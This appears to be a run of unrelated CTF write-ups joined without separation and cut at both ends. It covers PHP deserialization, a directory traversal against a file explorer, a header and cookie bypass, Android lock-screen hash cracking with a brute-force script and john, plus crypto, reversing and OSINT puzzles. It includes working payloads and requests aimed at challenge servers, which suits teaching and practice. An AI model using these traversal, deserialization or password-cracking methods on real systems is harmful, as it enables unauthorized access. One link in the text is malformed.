print(resp.content)``` We can make the bot visit the website by providing our token, and solving the proof of work challenge.Following this we get a hold of the admin token. Once again we need to execute the bot for the admin token, and the new proof of work script.Once the bot is done we get the flag.
for more details you can read my full writeup [here](htthttps://medium.com/@laithxl_79681/hsctf-2023-spring-challenge-823d78d41fc2p://). for this challenge we first need to find the random generated numbers,we can do that by shifting the first 8 bytes from the png file (the header) as the code did and then xor them with the first value from out.txt . we can find the rest of the values from the first value since the java Random library uses fixed parameters.to unpack the bytes after we do the xor we simply shift them back to the righ by the same amount and extract the right most 8 bits from each value.
This challenge requires a serialized PHP object to be setup such that the conditions are met to output the flag. The PlayGround class uses the `__wakeup` magic method. This method is run as soon as the object is deserialized. To output the flag, the object must be set with properties that contains an object that reponds to the runMe method and returns a truthy value. An instance of the First class was used to fill all 3 properties and get the flag. ```phpflag; }} class PlayGround{ public function __construct(){ $this->first = new First(); $this->second = new Second(); $this->third = new UnfinishedСlass(); } public $first; public $second; public $third; public function __wakeup(){ if ($this->first->runMe()){ if ($this->second->runMe()){ if ($this->third->runMe()){ echo 'VolgaCTF{your flag}'; } } } }} $x = new First();$x->flag = true; $p = new PlayGround();$p->first = $x;$p->second = $x;$p->third = $x; echo "Go get the flag http://php.tasks.q.2023.volgactf.ru:8080/?payload=" . urlencode(serialize($p)); ?>
## CSR 2023: Baby Explorer This is a writeup for a simple PHP web challenge. The goal is to print the contents of `/flag.txt`. ![Screenshot of exploitable website](https://i.ibb.co/16p5z7y/website.png) Frontend and Backend is based on [js-fileexplorer by CubicleSoft](https://github.com/cubiclesoft/js-fileexplorer). We can download the PHP libraries used by js-filexplorer and compare them to the challenge libraries using `diff -r`: ```diff--- ~/Downloads/php-libs/file_explorer_fs_helper.php+++ ./file_explorer_fs_helper.php@@ -38,7 +38,6 @@ if ($result === false) return false; $result = str_replace("\\", "/", $result);- if (strncmp($result . "/", $basedir . "/", strlen($basedir) + 1)) return false; if ($extrapath !== "") $result .= "/" . $extrapath; @@ -137,7 +136,8 @@ public static function getpathdepth($path, $basedir) {- return substr_count($path, "/", strlen($basedir));+ return 5; } public static function getentryhash($type, $file, &$info)``` The purpose of the removed if statement was to make sure that the realpath of the sanitized path starts with `$basedir`. Clearly, the app is begging to be exploited with a directory traversal attack. Let's take a look at how js-filexplorer is configured for this challenge: ```php$options = array( "base_url" => "http://baby-explorer.rumble.host/", "protect_depth" => 0, // Protects base directory + additional directory depth. "recycle_to" => "Recycle Bin", "temp_dir" => "/tmp", "dot_folders" => false, // .git, .svn, .DS_Store "allowed_exts" => ".jpg, .jpeg, .png, .gif, .svg, .txt", "allow_empty_ext" => true, "refresh" => true, "rename" => true, "file_info" => false, "load_file" => false, "save_file" => false, "new_folder" => true, "new_file" => ".txt", "upload" => true, "upload_limit" => 1000, // -1 for unlimited or an integer "download" => "user123-" . date("Y-m-d_H-i-s") . ".zip", "download_module" => "", // Server handler for single-file downloads: "" (none), "sendfile" (Apache), "accel-redirect" (Nginx) "download_module_prefix" => "", // A string to prefix to the filename. (For URI /protected access mapping for a Nginx X-Accel-Redirect to the system root) "copy" => true, "move" => true, "recycle" => true, "delete" => true);``` Setting `protect_depth` to 0 means minimal protection of the `/` directory. The options array also tells us which actions are allowed, e.g. we can upload and download files, but not view them (`load_file`). Let's download a file and look at the HTTP request with browser dev tools: ```httpPOST / HTTP/1.1Host: baby-explorer.rumble.hostContent-Type: multipart/form-data; boundary=---------------------------9990746362586650592204378159Content-Length: 438Cookie: PHPSESSID=dc6a931b7aecfd9944e978b952495e6d -----------------------------9990746362586650592204378159Content-Disposition: form-data; name="action" file_explorer_download-----------------------------9990746362586650592204378159Content-Disposition: form-data; name="path" ["","babies"]-----------------------------9990746362586650592204378159Content-Disposition: form-data; name="ids" ["Baby_Face.JPG"]-----------------------------9990746362586650592204378159--``` The `path` array is converted into an absolute file path using this function: ```phppublic static function GetSanitizedPath($basedir, $name, $allowdotfolders = false, $extrapath = ""){ $path = self::GetRequestVar($name); // the path array if ($path === false) return false; $path = @json_decode($path, true); if (!is_array($path)) return false; $result = array(); foreach ($path as $id) { if (!is_string($id) || $id === "." || $id === "..") return false; if ($id === "") continue; if ($id[0] === "." && !$allowdotfolders) return false; $result[] = $id; } // basedir is "/tmp/<uuid>" $result = @realpath(rtrim($basedir, "/") . "/" . implode("/", $result)); if ($result === false) return false; $result = str_replace("\\", "/", $result); // the removed but critical security check: // if (strncmp($result . "/", $basedir . "/", strlen($basedir) + 1)) return false; if ($extrapath !== "") $result .= "/" . $extrapath; return $result;}``` Based on the above, what do we need to set the path array to, so that `GetSanitizedPath`returns a path to `/`? Note that since `allowdotfolders` is configured to be false, no path component must start with a dot. Here's my solution: `path = ["/../.."]; ids = ["flag.txt"]`. This will be transformed into `/tmp/<uuid>//../../flag.txt`. The double slash is treated like a single slash on Linux. You can send the winning HTTP request e.g. by right clicking the previous download request in Firefox and selecting "Edit and resend". This will show the flag in the response tab: CSR{Oops_there_might_have_been_a_reason_for_that_check}
The challenge has a web app running. On the cliend source code there is a comment:``` ```This seems a hint to check robots.txt:```User-agent: * Disallow: /source```When checking the /source we get a very long file that starts with the following:```exec('%c'%((()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()==())+(()```This is just a piece of it, this is python, when changing the exec to print and we run it, we get the following code:```_A='backend.js'from flask import Flask,send_file,request,redirectimport os,json,subprocessapp=Flask(__name__)@app.route('/')def index():return send_file('index.html')@app.route('/logo.svg')def logo():return send_file('logo.svg')@app.route('/robots.txt')def robots():return'User-agent: *\nDisallow: /source'@app.route('/source')def source(): with open('app.py')as A:return A.read()@app.route('/source/js')def js_source(): with open(_A)as A:return A.read()@app.route('/3ng1n33r1ng-s4mpl3',methods=['POST'])def flag(): A={A[0]:A[1]for A in request.headers.items()};B=request.args.to_dict() print(subprocess.check_output(['node',_A,str(A),str(B),str(request.json)]).decode().strip()) if subprocess.check_output(['node',_A,str(A),str(B),str(request.json)]).decode().strip()=='Valid':return os.environ.get('FLAG') return redirect('/')if __name__=='__main__':app.run()```It seems there is a /source/js, and it starts like this:```[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]```This is again just part of it, it is jsfuck, I've pasted it into a file, it ended with () so it was a function, I've surrounded it with console.log([...].toString()) to get the function code and I got the following:```d=JSON.parse(`{"header_key": "[-]>[-]<++++++++[>++++++++++<-]>++++++++.<++++[>----------<-]>---.<++[>++++++++++<-]>++++.<++[>++++++++++<-]>++++++++.<+[>++++++++++<-]>+++++++.<[>----------<-]>------.<+[>++++++++++<-]>+++.<+++++++[>----------<-]>------.<++[>++++++++++<-]>.<+++[>++++++++++<-]>++++.<[>----------<-]>.<[>++++++++++<-]>++.<+[>++++++++++<-]>++++.<[>----------<-]>.<", "header_value": "[-]>[-]<++++++++++[>++++++++++<-]>+++++++.<[>----------<-]>--.<+[>++++++++++<-]>+.<+[>----------<-]>-------.<+[>++++++++++<-]>+++++++.<+[>----------<-]>----.<+++++[>----------<-]>-------.<+++++[>++++++++++<-]>++++.<[>++++++++++<-]>++.<+[>++++++++++<-]>+++.<[>++++++++++<-]>++.<+[>----------<-]>-.<[>----------<-]>---.<[>++++++++++<-]>+++.<[>----------<-]>----.<[>----------<-]>-.<+++++[>----------<-]>-----.<+++++++[>++++++++++<-]>+.<+[>----------<-]>-----.<+[>++++++++++<-]>++++.<[>++++++++++<-]>+.<+[>----------<-]>-----.<+[>++++++++++<-]>+++.<", "query_key": "[-]>[-]<++++++++++[>++++++++++<-]>+++++++.<[>----------<-]>------.<++[>++++++++++<-]>.<", "query_value": "[-]>[-]<+++++[>++++++++++<-]>+++.<[>----------<-]>-.<[>++++++++++<-]>++.<[>++++++++++<-]>++.<[>----------<-]>--.<[>++++++++++<-]>+++.<[>----------<-]>--.<[>----------<-]>----.<[>----------<-]>-.<[>----------<-]>--.<[>++++++++++<-]>++++++.<[>++++++++++<-]>+++.<[>----------<-]>--.<[>----------<-]>----.<[>----------<-]>-.<[>----------<-]>--.<[>++++++++++<-]>++++++.<[>----------<-]>-----.<[>++++++++++<-]>+.<[>----------<-]>--.<[>++++++++++<-]>+++++++.<[>----------<-]>-.<[>----------<-]>.<[>----------<-]>-----.<[>++++++++++<-]>+++++.<++++[>++++++++++<-]>+++++.<++++[>----------<-]>-----.<[>++++++++++<-]>+++.<[>----------<-]>---.<[>----------<-]>--.<[>----------<-]>--.<[>----------<-]>--.<[>++++++++++<-]>++++++.<++++[>++++++++++<-]>++++.<++++[>----------<-]>----.<[>----------<-]>-.<[>++++++++++<-]>++.<[>++++++++++<-]>++.<", "body_key": "[-]>[-]<+++++++++++[>++++++++++<-]>++++.<+[>----------<-]>---.<+[>++++++++++<-]>++++.<[>----------<-]>----.<[>++++++++++<-]>++++++.<[>----------<-]>---.<+[>----------<-]>-----.<[>++++++++++<-]>++.<", "body_value": "[-]>[-]<++++++++++[>++++++++++<-]>++.<[>++++++++++<-]>++++++.<+[>----------<-]>-.<[>++++++++++<-]>++++++.<", "cookie_key": "[-]>[-]<+++++++++++[>++++++++++<-]>.<+[>----------<-]>.<[>----------<-]>---.<", "cookie_value": "[-]>[-]<+++++++++++[>++++++++++<-]>++++++.<[>----------<-]>--.<[>++++++++++<-]>+++.<+[>----------<-]>------.<"}`);function interpret(e){ let r="",a=new Array(420).fill(0),s=0,t=0,o="",i=!1;var c=[]; braces={},e=e.replace(/[^<>+-.,\[\]]/,""); for(let r=0;r<e.length;r++)"["===e[r]&&c.push(r),"]"===e[r]&&(start=c.pop(),braces[start]=r,braces[r]=start); for(;!i;){switch(e[s]){case">":t++;break;case"<":t--;break;case"-":a[t]--;break;case"+":a[t]++;break;case".":o+=String.fromCharCode(a[t]);break;case",":a[t]=r.charCodeAt(0),r=r.substring(1);break;case"[":0===a[t]&&(s=braces[s]);break;case"]":0!==a[t]&&(s=braces[s]);break;case void 0:i=!0}s++}return o} const headers=JSON.parse(process.argv[2].split("'").join('"')),args=JSON.parse(process.argv[3].split("'").join('"')),body=JSON.parse(process.argv[4].split("'").join('"'));headers[interpret(d.header_key)]===interpret(d.header_value)&&args[interpret(d.query_key)]===interpret(d.query_value)&&body[interpret(d.body_key)]===interpret(d.body_value)&&headers.Cookie.split("=")[0]===interpret(d.cookie_key)&&headers.Cookie.split("=")[1]===interpret(d.cookie_value)?console.log("Valid"):console.log("Fake");;```I've run this server code of both files on my local machine and printed what was being compared and checked. The final request that got me the flag was the following:```POST /3ng1n33r1ng-s4mpl3?resource=flag&key=5468697320697320612076616c6964206b6579 HTTP/2Host: wtf-0.chals.kitctf.deX-Early-Access: kitctf-certified-testerCookie: nda=trueContent-Type: application/json[...] {"resource":"flag"}```And the server answered with the following:```HTTP/2 200 OKContent-Type: text/html; charset=utf-8Date: Sat, 10 Jun 2023 21:30:45 GMTServer: Werkzeug/2.3.5 Python/3.10.12Content-Length: 28 GPNCTF{qSf1PSqRtUspio040GHg}```
# Writeup As the capital letters say, view previous responses. you can do that by editing the url from "/viewform" to "/viewanalytics".# Flag - n00bz{7h1s_1s_th3_3nd_0f_g00gl3_f0rm5_fl4g_ch3ck3rs}
## Insanity check## Description:```insanity introduce inspire something incredible impulse ivory intelligence incident implication hidden illustrate isolation illusion indirect instinct inappropriate interrupt infection in item inspector institution infinite insert the insist import ignite incentive influence instruction invasion install infrastructure innovation ignore investment impact improve increase rules identification initial immune inhabitant indulge illness information iron injection interest intention inquiry inflate impound```## Solution:As you see, we got multiple words starting with "`in`" and they are 4+ characters long. That's except of `something hidden in the rules`.Huh, okay. Looking at the rules in the Discord we do become more and more insane, but there's a trick.We see the rules as:```1. rule 12. rule 2...```But we can click on triple dots `...` at the top-right corner of the rules message and copy the message with formatting.After pasting, turns out the rules have a hidden message:```107122414347637. rule 1125839376402043. rule 2122524418662265. rule 3122549902405493. rule 4121377376789885. rule 5```Okay! This is something!Except... What is it?This looks like a Unix time stamp, but that doesn't seem right.Let's use a tool like the following: <https://scwf.dima.ninja/>.Okay! The first number got decoded into `amateu`!Try the second one... It gets decoded into `rsCTF{` and we get a hit in `RSA Decimal` algorithm!Go to this algorithm's output and decode all the rest.Good job, we are done!---Original writeup was posted in [Neon Flags community](https://discord.gg/SH6Y3dJuU4).
I [searched the username blackhat_abhinav on Github](https://github.com/search?q=blackhat_abhinav&type=code) and found [this instagram link](https://www.instagram.com/blackhat_abhinav/) ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/b389646d-d36a-45d2-9ab3-13ddcfdca7da) ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/0aa96204-0bee-4952-9984-48aa7f54d4b5) There was a secret link: [https://goo.gl/maps/gHbUHjqFyNcB7aqi9](https://goo.gl/maps/gHbUHjqFyNcB7aqi9), which leads to a Google maps place review: ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/3c6378f9-1d89-41f6-8e56-9dad1451df92) Searching through various online platforms made me find [this Twitter account by the username Abhinav78082932](https://twitter.com/Abhinav78082932) ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/63fd612d-4ac4-41ca-9086-803e6ac57f83) His recent tweet was [a photo](https://twitter.com/Abhinav78082932/status/1667409456584609792): ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/23f5be1a-a2e3-4775-8a4d-1cfdbc147e62) I realised there was ALT text available which revealed the flag ![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/b1933645-747e-4457-b18b-14a9d7ed178e) Flag: `n00bz{gr0tt4_1sl4nd_1s_4_n1c3_pl4c3_t0_v1s1t}`
# IR 1https://github.com/daffainfo/ctf-writeup/blob/main/NahamCon%20CTF%202023/IR%20%231# IR 2https://github.com/daffainfo/ctf-writeup/blob/main/NahamCon%20CTF%202023/IR%20%232# IR 3https://github.com/daffainfo/ctf-writeup/blob/main/NahamCon%20CTF%202023/IR%20%233# IR 4https://github.com/daffainfo/ctf-writeup/blob/main/NahamCon%20CTF%202023/IR%20%234# IR 5https://github.com/daffainfo/ctf-writeup/blob/main/NahamCon%20CTF%202023/IR%20%235
# InternSkripting (web)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get the website and the source code of the frontend and the backend.The frontend code is rather simple, the most interesting file is `static/app.js` ```javascriptfunction get_flag() { fetch("/api/flag", { method: "GET", mode: "same-origin", cache: "no-cache", credentials: "same-origin", headers: { "Content-Type": "application/json", "X-Coffee-Secret": document.getElementById("flag_secret").value, }, redirect: "follow", referrerPolicy: "origin", }) .then((response) => response.json()) .then((data) => work_with_flag(data)) .catch((reason) => show_error(reason));}``` This function gets called when trying to guess the secret value through the website. We see that the secret value is passed in the request headers. Nothing to exploit here really, let's look at the backend as well! Here's the endpoint for `/flag` and a utility function```pythondef represents_int(s, default): try: app.logger.info("int %s", s) return int(s, 0) except: return default @app.route("/flag")def get_flag(): coffee_secret = request.headers.get('X-Coffee-Secret') coffee_disallow = request.headers.get('X-Coffee-Disallow', None) coffee_debug = request.headers.get('X-Coffee-Debug', None) app.logger.info(request.headers) app.logger.info("header contents %s %s %s", coffee_secret, coffee_disallow, coffee_debug) app.logger.info("int %d", represents_int(coffee_disallow, 1)) if represents_int(coffee_disallow, 1) != 0 : return json.dumps({"value": "Filthy coffee thief detected!", "code": 418}), 418 app.logger.info("Gave coffee flag to someone with the secret %s", coffee_secret) return json.dumps({"value": flag, "code": 200}), 200``` We see here that the backend itself doesn't check the secret value, it only cares about `X-Coffee-Disallow`, which wasn't even set by the frontend code. At this point I have noticed the frontend also contains an additional file, and nginx configuration! ```upstream theapi { server $SERVER:9696;} server { listen 8888 default; root /app; index index.html; server_name frontend.csr; if ($request_method != GET) { return 405; } location /api { proxy_pass http://theapi/; set $disa 0; set $debug_api 0; if ($http_x_coffee_secret = 0){ return 418; } if ($http_x_coffee_secret != $SECRET) { set $disa 1; } if ($cookie_debug ~* debug) { set $disa $http_x_coffee_secret; set $debug_api $cookie_debug; } proxy_pass_header X-Coffee-Secret; proxy_pass_header X-Coffee-Disallow; proxy_set_header X-Coffee-Disallow $disa; proxy_set_header X-Coffee-Debug $debug_api; }}``` So what happens here:* This reverse proxy handles the requests to `/api` to pass it to the python app we have seen above* If the coffee secret is zero the request is rejected* If the secret we send doesn't match the secret the server knows about, we set the disallow value to 1* If we have a cookie named debug matching the value stated in the code (regex case insensitive match), then disallow will get the value of the secret header we have sent, and we will pass the cookie value along in the `X-Coffee-Debug` header. From here the path of attack is clear:1. Set the `X-Coffee-Secret` header to a value like `-0`, which will not trigger the condition in the nginx config, but will convert to zero in the python code.2. Set a cookie named `debug` with the mentioned value3. Win In fact this is the solution, however I have wasted some time getting it to work. The crucial mistake I made was to assume the cookie value is `debug` just by looking at the config, however in reality the `u` is replaced by a unicode character that looks like the ascii letter `u` but is different.After making this discovery everything started to work all of a sudden. See the following python script which can recover the flag:```pythonimport requestscookie_value = 'deb\xd5\xbdg'cookies = { 'debug': cookie_value} resp = requests.get('http://intern-scripting.rumble.host/api/flag', cookies=cookies, headers={ 'X-Coffee-Secret': '-0'}) print(resp.content)```
# ASlv1 ## Source Despite their large size, corporations like ASIv1 often exhibit a surprising tendency to rely on vulnerable cryptosystems in an attempt to encrypt their secret financial transactions, inadvertently leaving themselves open to potential security breaches and exposing the fragility of their approach. ## Encryption ```from Crypto.Util.number import *from flag import flag``````seed = flag.lstrip(b'CCTF{').rstrip(b'}')R, S = asiv_prng(seed) f = open('output.txt', 'w')f.write(f'R = {R}\nS = {S}')f.close()```- **Imports the `flag` from an external file. Extracts the leet string from the `flag` as `seed`.**- **Encodes the `flag` with function `asiv_prng` and writes in the return to `output.txt`.** - **Encryption functions:**```def base(n, l): D = [] while n > 0: n, r = divmod(n, l) D.append(r) return ''.join(str(d) for d in reversed(D)) or '0' def asiv_prng(seed): l = len(seed) _seed = base(bytes_to_long(seed), 3) _seed = [int(_) for _ in _seed] _l = len(_seed) R = [[getRandomRange(0, 3) for _ in range(_l)] for _ in range(_l**2)] S = [] for r in R: s = 0 for _ in range(_l): s += (r[_] * _seed[_]) % 3 # s += getRandomRange(0, 3) s %= 3 S.append(s) return R, S```- The base function simply converts the number `n` to base `l` and returns the list of the digits. *divmod returns a tuple of quotient and remainder.*- The `asiv_prng` function encrypts the seed as follows: - It takes the `seed` converts it into integer in base 3 and forms a list `_seed` which is the list of digits of the integer. - It then creates a list `R` which consists of _l^2^ lists of the same length as `_seed` filled with random digits 0,1 and 2 (base 3 digits). - Then it perform modular matrix multiplication on `_seed` and `R` to get `S = R * _seed^T^ ` and returns `R, S`. ## Decryption *This form of encryption only uses modular matrix arithmetics, so it can be broken using elementary modular matrix operations on the equation `S = R * _seed^T^ `.* If we can convert the matrix R into:```| 1 0 0 0 0 0 0 ... 0 | row 1| 0 1 0 0 0 0 0 ... 0 | row 2| 0 0 1 0 0 0 0 ... 0 | row 3| ................... || 0 0 0 0 0 0 0 ... 1 | row _l| 0 0 0 0 0 0 0 0 0 0 | row _l+1| 0 0 0 0 0 0 0 0 0 0 | row _l+2| ................... | down to row _l^2^```then the resulting matrix S from the equation `S = R * _seed^T^ ` will have the first _l elements of `S` as `_seed` and the rest elements 0. We can convert `R` to this form by the same method we use to inverse a matrix, by keeping R[i][i] as 1 and applying row addition to convert the rest of R[j][i] to 0. - Let's understand decrypt.py ### 1. Extracting R and S from output.txt```import os old_name=r'.\output.txt'new_name=r'.\output.py' os.rename(old_name, new_name) import output R=output.RS=output.S```- Renames output.txt into output.py using os module and extracts R and S from it. ### 2. Matrix Row Reduction```_l=len(R[0]) for i in range(_l): count=0 while(R[i][i]==0): count+=1 R=R[:i]+R[i+1:]+[R[i]] S=S[:i]+S[i+1:]+[S[i]] if(count>_l**2): print("BAD") break if R[i][i]==2: for j in range(i,_l): R[i][j]=(R[i][j]*2)%3 S[i]=(S[i]*2)%3 for j in range(_l**2): if j==i: continue x=R[j][i]//R[i][i] if(x==0): continue for k in range(i,_l): R[j][k]=(R[j][k]-x*R[i][k])%3 S[j]=(S[j]-x*S[i])%3```- In each step of reducing a column it makes sure R[i][i] is 1. - If it is 2, then multipies all numbers in the row by 2 mod 3 to make it 1. - If it is 0, then sends that row to the end of the matrix until it gets a 1 or 2.- Then it performs elementary row reduction operation to convert the rest of the column to 0. ### 3. Getting the flag```_seed=S[:_l] m=0for i in range(110): m*=3 m+=_seed[i] from Crypto.Util.number import * seed=long_to_bytes(m).decode()print("The flag is : CCTF{"+ seed +"}")```- Gets the first `_l` digits which is the `_seed` and converts it into bytes to get the flag. ## Flag The flag is `CCTF{3Xpl0i7eD_bY_AtT4ck3r!}`
# Android Zoo> Who knew pigeons could use Android phones? > This sus pigeon stored the flag on 2 phones, and the flag format is SEE{<password>:<gesture_pattern>}. > For example, if the password is password and the gesture pattern is 1337, the flag is SEE{password:1337} > Hint: Don't worry, the password is in rockyou! > Side note: why aren't there any pigeons in zoos? ## About the ChallengeWe have been given a `zip` file that contains 2 folders called `first_devices` and `second_devices`. And in these folders there is information related to the device such as the device name, then there is a kind of file containing passwords and so on. And our goal is to get the password of the two devices ## How to Solve? Lets see the `first_device` folder first ![first_device](images/first_device.png) If you open `device_policies.xml`, you will see the length of the password is 5 ```xml <policies setup-complete="true"><active-password quality="65536" length="5" uppercase="0" lowercase="0" letters="0" numeric="0" symbols="0" nonletter="0" /></policies>``` And then I tried to find an information about cracking `gatekeeper.pattern.key` and I found this [website](http://webcache.googleusercontent.com/search?q=cache%3Ahttp%3A%2F%2Fkoifishly.com%2F2021%2F06%2F25%2Fandroid%2Fsystem%2Fandroid-suo-ping-mi-ma-de-fen-xi%2F&oq=cache%3Ahttp%3A%2F%2Fkoifishly.com%2F2021%2F06%2F25%2Fandroid%2Fsystem%2Fandroid-suo-ping-mi-ma-de-fen-xi%2F&aqs=chrome..69i57j69i58.3125j0j4&sourceid=chrome&ie=UTF-8) As you can see, because the length of the password is 5, I created a file called `num.txt` that contains all combination of the password. For example: ```000000000100002...``` And then I tried using Python code on the website to find the password of the first device. ```python# -*- coding=utf-8 -*-import structimport binasciiimport scryptN = 16384;r = 8;p = 1; current_index = 1 f=open('gatekeeper.pattern.key', 'rb')blob = f.read() s = struct.Struct('<'+'17s 8s 32s')(meta, salt, signature) = s.unpack_from(blob) f1=open('num.txt','r')lines=f1.readlines()lines.reverse() for data in lines: password=data.strip() to_hash = meta to_hash += password.encode(encoding='utf-8') hash = scrypt.hash(to_hash, salt, N, r, p) print ('{} {} <= {} => {}'.format(password, signature.hex(),(hash[0:32] == signature), hash[0:32].hex())) current_index = current_index+1 if hash[0:32] == signature: print ("[OK] Password is %s", password ) exit()``` Wait until the program stops, and as you can see the password is `95184` ![first_password](images/first_password.png) After I got the first password, now lets check the second folder ![second_device](images/second_device.png) If you open `device_policies.xml`, you will see the length of the password is 11 (3 uppercase, 7 lowercase, and 1 numeric) ```xml <policies setup-complete="true"><active-password quality="327680" length="11" uppercase="3" lowercase="7" letters="10" numeric="1" symbols="0" nonletter="1" /></policies>``` And then I tried to find an information about cracking `password.key` and I found this [website](https://arishitz.net/writeup-secr3tmgr-forensic-insomnihack-2017/) We need to parse `locksettings.db` file first to get the salt ![salt](images/salt.png) And then if you open `password.key` you will see this string ```6DFE4D0C832761398B38D7CFAD64D78760DEBAD266EB31BD62AFE3E486004CE6ECEC885C``` When I read the blog find that the hexadecimal string of 72 bytes corresponds to the concatenation of the sha1(password + salt) and the md5(password + salt). And in the end, we got this information ```6DFE4D0C832761398B38D7CFAD64D78760DEBAD2 = SHA166EB31BD62AFE3E486004CE6ECEC885C = MD58074783686056175940 = salt``` Convert the salt first ```shellprintf "%x\n" 8074783686056175940``` Store the hash using below format into a file called `hash.txt` ```66EB31BD62AFE3E486004CE6ECEC885C$700f64fafd7f6944``` And then run `john` using this command ```john -form=dynamic='md5($p.$s)' --wordlist=/usr/share/wordlists/rockyou.txt hash.txt``` The password is `PIGeon4ever` ```SEE{PIGeon4ever:95184}```
# Lightbulb (rev)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get an apk file.My go-to tool for apks is `jadx-gui`, so I loaded this file into it. First let's search for the flag prefix, maybe we get lucky. There's a single hit for it in the `LightSwitchingActivity` class. Let's see the code around this area: ```javaString string = sharedPreferences.getString("secret_key", "");Log.d("LIGHTSWITCH", "the sk was " + string);Intrinsics.checkNotNull(string); byte[] bytes = string.getBytes(Charsets.UTF_8);Intrinsics.checkNotNullExpressionValue(bytes, "this as java.lang.String).getBytes(charset)"); APIKeyHash aPIKeyHash = new APIKeyHash(bytes);StringBuilder sb = new StringBuilder("CSR{"); byte[] bytes2 = "APIKEY".getBytes(Charsets.UTF_8);Intrinsics.checkNotNullExpressionValue(bytes2, "this as java.lang.String).getBytes(charset)"); this.apiKey = sb.append(LightSwitchingActivityKt.toHex(aPIKeyHash.hash(bytes2))).append('}').toString();``` * We get a `secret_key` from shared preferences and convert it to a byte array* We initialize `APIKeyHash` based on the key* We hash the string `APIKEY` and concatenate it with the flag prefix and suffix So we just need to get the hash value of `APIKEY` in order to solve this challenge.Let's quickly take a look at the hash function:```java Intrinsics.checkNotNullParameter(plaintext, "plaintext"); byte[] bArr = new byte[plaintext.length]; int length = plaintext.length; int i = 0; int i2 = 0; for (int i3 = 0; i3 < length; i3++) { i = (i + 1) & 255; byte[] bArr2 = this.s; byte b = bArr2[i]; i2 = (i2 + b) & 255; byte b2 = bArr2[i2]; bArr2[i2] = b; bArr2[i] = b2; bArr[i3] = (byte) (bArr2[(b2 + bArr2[i2]) & 255] ^ plaintext[i3]); } return bArr;``` This looks familiar... It looks like RC4 encrypt/decrypt, although if I didn't recognize the algorithm I could have translated it from scratch and would have still been able to recover the flag. Equipped with this knowledge we only need to find the `secret_key` in order to recover the flag. And a simple text search helps me out again.In `MainActivity` we find the following code:```javaif (!Intrinsics.areEqual(PreferenceManager.getDefaultSharedPreferences(this).getString("secret_key", ""), "583908295080")) { startActivity(new Intent(getApplicationContext(), LoginActivity.class)); } else { startActivity(new Intent(getApplicationContext(), LightSwitchingActivity.class)); }``` If the `secret_key` is not the constant value there, then the login screen is shown, otherwise we proceed to the code path which constructs the flag. Now we know everything to construct the flag:```pythonfrom Crypto.Cipher import ARC4 secret_key = '583908295080' cipher = ARC4.new(secret_key.encode('utf-8'))print(cipher.encrypt('APIKEY'.encode('utf-8')).hex().upper())```
So as name suggest it appears this challenge is related to some “Task schedular”. So let’s open computer management. ( click on start and type “Computer Management) For more details check out this blog: [https://upadhyayraj.medium.com/bdsec-ctf-2023-write-up-ae6cbdbf160d](http://)
operational cipher vault Operation Cipher Vault,100Welcome to "Operation Cipher Vault," an immersive CTF challenge inspired by the world of secret service operations. You have been recruited as an elite agent to infiltrate a highly secure facility known as the Cipher Vault. Your mission is to obtain a confidential flag hidden deep within the vault's mainframe. The vault's security relies on a password input field that triggers an error on improper password length. Your task is to exploit this vulnerability, crack the password, and retrieve the top-secret flag to complete your mission. https://m0wn1ka.github.io/m0wn1ka/bsidesctf.html
# Random Keys — Solution We are given a file called `server.py` along with a connection string to theremote server. When we connect to the server, we receive the following data: ![Chall](img/chall.png) Looks like we need to mount a [chosen plaintextattack](https://en.wikipedia.org/wiki/Chosen-plaintext_attack) against theencryption scheme from the challenge. Let's inspect `server.py` to find outmore about the encryption being used. ```pythonclass LCG: def __init__(self): self.m = 128 self.state = bytes_to_long(os.urandom(1)) self.a = bytes_to_long(os.urandom(1)) self.b = bytes_to_long(os.urandom(1)) def next(self): self.state = (self.a * self.state + self.b) % self.m return self.state class RSA: BITS = 512 def __init__(self): self.primes = [getPrime(self.BITS) for _ in range(128)] self.gen = LCG() def encrypt(self, msg): p = self.primes[self.gen.next()] q = self.primes[self.gen.next()] N = p * q e = 0x10001 return (N, e, hex(pow(msg, e, N)))``` The `LCG` class obviously implements a [Linear CongruentialGenerator](https://en.wikipedia.org/wiki/Linear_congruential_generator) withnon-standard parameters. More precisely, the modulus is fixed $m = 128$, whilethe *multiplier* $a$ and *increment* $b$ are randomly generated by invoking`os.urandom(1)`, which basically returns a random byte. The `RSA` class also implements the[RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) in a non-standard way.In its constructor, it generates a list of $128$ large prime numbers andinstantiates a random number generator based on previously-mentioned `LCG`implementation. Inspecting the `encrypt` function reveals that a *new* public key is generatedon the spot. More precisely, its modulus is the product of two primes chosen bythe `LCG`-based random generator. The remainder of the function performsstandard RSA encryption. Let's inspect what happens in the main function of `server.py`. ```pythondef main(): signal.signal(signal.SIGALRM, handler) signal.alarm(300) myprint(BANNER) myprint("Try to defeat our new encryption service using a chosen plaintext attack with at most 10 queries:") myprint(" 1) Encrypt arbitrary message") myprint(" 2) Encrypt flag and exit") myprint("") print("Initializing service... ", end="", flush=True) cipher = RSA() myprint("DONE!") myprint("") for _ in range(10): action = input("> ") if action == '1': message = bytes_to_long(bytes.fromhex(input("Message (hex): "))) result = cipher.encrypt(message) myprint(f"Result (N, e, ct): {result}") elif action == '2': flag = 